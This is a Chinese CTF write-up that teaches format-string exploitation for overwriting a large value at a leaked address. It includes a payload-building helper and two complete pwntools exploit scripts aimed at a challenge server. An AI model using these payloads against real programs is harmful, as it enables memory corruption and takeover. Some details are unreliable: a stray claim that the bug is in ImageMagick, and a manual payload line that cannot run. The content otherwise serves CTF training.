Python格式化字符串漏洞利用:高效覆盖大数值地址的实战解析
本文深入解析Python中利用格式化字符串漏洞覆盖大数值地址的技巧。针对直接输出大字节数导致的超时与报错问题,详细对比了手动构造payload与使用pwntools库中fmtstr_payload函数的两种方案。通过攻防世界题目实例,演示了小端存储下的地址构造、偏移计算及字节溢出处理逻辑,提供高效利用代码。
格式化字符串漏洞覆盖大数值的挑战
在利用格式化字符串漏洞进行大数值地址覆盖时,若尝试一次性输出海量字节以完成覆盖,不仅耗时极长,还极易触发程序中断或报错。为此,本文选取攻防世界高手区的一道题目作为案例,总结更高效的利用方法。
该题目属于Pwn高手区,名为“实时数据监测”,其核心考点正是利用格式化字符串漏洞来覆盖较大的数值。


运行题目时,程序会直接泄露key变量的内存地址。我们的目标是通过ImageMagick组件中存在的printf格式化字符串漏洞来覆盖该key值。然而,如前所述,直接进行大数值覆盖效率低下且易出错,因此需要探索其他更优的利用路径。
小端存储与内存布局分析
假设我们需要覆盖的key值为0x02223322。根据小端存储(Little-Endian)规则,该数值在内存中的字节排列顺序为\x22 \x33 \x22 \x02,即低地址存放低位字节,高地址存放高位字节。
在格式化字符串中,%hhn用于向指定地址写入单字节,%hn用于写入双字节。在实际利用中,%hhn的使用频率更高。
在本例中,目标覆盖地址为0x0804a048,目标数据为0x02223322。具体内存布局如下:
0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02
通过%p格式化符计算出的字符串参数偏移量为12。

手动构造Payload与通用模板
基于上述偏移,构造的payload如下所示:
payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
虽然手动构造payload较为繁琐,但CTF-Wiki中提供了一个通用模板,该模板兼容x86和x64架构。
该模板的具体实现如下:
#prev表示前面已输出的字节
#word表示应该输出的字节
#index表示偏移量
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
#offset表示起始偏移量,比如这题为12
#size表示字节长度,x86为4,x64为8
#addr表示要覆盖的地址,这题为0x0804a048
#target表示要覆盖的值,这题为0x02223322
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):#一次传送一个字节
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)
需注意prev(已输出字节数)大于word(目标字节数)的情况。当已输出的字符串长度超过目标值时,需加上256以处理单字节溢出。例如,若prev=2,word=1,则result=256+1-2=255。加上之前已输出的2个字节,总输出量为257,经单字节溢出后即为1,这正是我们期望写入的值。
以下是完整的exp代码。由于使用的是高版本Ubuntu系统及Python 3,代码中进行了相应调整,以确保bytes与str类型的兼容。
from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12个参数 AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
if prev < word:
result = word - prev
fmtstr = ('%' + str(result) + 'c').encode()
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = ('%' + str(result) + 'c').encode()
fmtstr += ('%' + str(index) + '$hhn').encode()
return fmtstr
def fmt_str(offset,size,addr,target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

更多参考信息可跳转至CTF-Wiki相关章节。
使用pwntools简化利用流程
此外,还可以直接使用pwntools库提供的fmtstr_payload工具,它能显著简化格式化字符串漏洞的利用过程。
其函数签名为:pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str。
该函数的第一个参数为参数偏移量;第二个参数writes为字典{addr:value},指定写入的地址和值;第三个参数numbwritten表示已输出的字符数,默认为0;第四个参数write_size指定每次写入的大小,可选byte、short或int,分别对应%hhn、%hn和%n。
更多细节可查阅官方文档。
使用fmtstr_payload构造的exp代码如下:
from pwn import *
p = remote('111.200.241.244', '58464')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()
相比手动构造,这种方法代码极其简短且便捷。
以上即为Python网络安全中关于格式化字符串漏洞任意地址覆盖大数值详解的完整内容,更多关于Python格式化字符串漏洞覆盖大数字的资料请关注本站其它相关文章!
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









